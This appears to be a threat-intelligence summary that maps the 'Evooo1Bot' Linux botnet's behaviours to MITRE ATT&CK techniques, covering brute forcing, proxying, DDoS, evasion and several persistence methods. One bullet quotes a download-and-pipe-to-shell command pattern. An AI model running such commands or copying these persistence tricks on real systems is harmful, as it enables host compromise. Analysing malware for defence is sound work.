Multi-Functional Linux Botnet “Evooo1Bot”

MITRE Techniques

• [T1059.004 ] Unix Shell – Executes downloaded payloads through shell-based commands such as wget/curl piped to /bin/sh (‘(wget -qO- || curl -sL ) | /bin/sh > /dev/null 2>&1 &’).
• [T1105 ] Ingress Tool Transfer – Downloads the bot binary and loader script from the attacker’s infrastructure (‘wget.sh downloads and executes a botnet binary’; ‘downloads 12 binary variants using wget, busybox wget, curl, or tftp’).
• [T1027 ] Obfuscated Files or Information – Uses encrypted strings, XOR decoding, and runtime key derivation to hide embedded content (‘more than 60 encrypted string blocks’; ‘AES and ChaCha20 keys are not stored directly’).
• [T1497.001 ] Virtualization/Sandbox Evasion: System Checks – Detects analysis tooling, sandboxes, VMs, and container environments before proceeding (‘presence of analysis tooling’; ‘VM and container environment fingerprints check’).
• [T1090.001 ] Proxy: Internal Proxy – Turns infected hosts into SOCKS5 proxy nodes and relays traffic for operator use (‘turns an infected host into a SOCKS5 proxy’; ‘reverse relay mode’).
• [T1090 ] Proxy – Uses compromised systems to relay arbitrary TCP traffic and conceal attacker origin (‘the victim’s IP address can be used to disguise malicious traffic’).
• [T1110.001 ] Brute Force: Password Guessing – Attempts SSH login using an embedded credential dictionary with 150+ entries (‘built-in SSH scanner’; ‘over 150 entries’).
• [T1068 ] Exploitation for Privilege Escalation – Exploits known CVEs against edge devices to gain access (‘exploiting multiple vulnerabilities’; ‘HTTP-based exploit dispatcher’).
• [T1021.004 ] Remote Services: SSH – Uses SSH client functionality to connect to targets and test credentials (‘uses an SSH client implementation with the banner “SSH-2.0-OpenSSH_9.7p1″‘).
• [T1071.001 ] Application Layer Protocol: Web Protocols – Establishes encrypted C2 and HTTP-based delivery/exploit traffic over ports and web requests (‘connection with the C2 server on port 443’; ‘HTTP-based exploit dispatcher’).
• [T1498 ] Network Denial of Service – Implements multiple flood methods for DDoS attacks (’16 flood methods’; ‘HTTP flood variant’).
• [T1057 ] Process Discovery – Checks running process names to detect analysis tools and security software (‘Running process name check: gdb, lldb, strace’).
• [T1082 ] System Information Discovery – Gathers host information post-login via commands like uname-related file reads and /proc inspection (‘cat /proc/version … cat /proc/1/cmdline’).
• [T1056.001 ] Keylogging / Input Capture: Keylogging-like Credential Sniffing – Captures HTTP Basic Authorization and Cookie headers from network traffic (‘intercepts HTTP Basic Authorization and Cookie headers’).
• [T1543.002 ] Create or Modify System Process: Systemd Service – Installs a persistent systemd service (‘sets up a unit file with “Description=Apache HTTPD Cache Manager”’).
• [T1053.003 ] Scheduled Task/Job: Cron – Establishes persistence by creating a cron job every 5 minutes (‘*/5 * * * *’).
• [T1547.009 ] Boot or Logon Autostart Execution: Shell Profile Modification – Injects into /etc/profile.d/ to run on login (‘/etc/profile.d/ injection executed on login’).
• [T1547.004 ] Boot or Logon Autostart Execution: RC Scripts – Appends a downloader script to /etc/rc.local (‘appends script to download the script in “/etc/rc.local.”’).
• [T1016 ] System Network Configuration Discovery – Checks network and environment details such as IPv6/IPv4 listener support and device architecture for the right payload variant (‘matches the host’s CPU architecture’).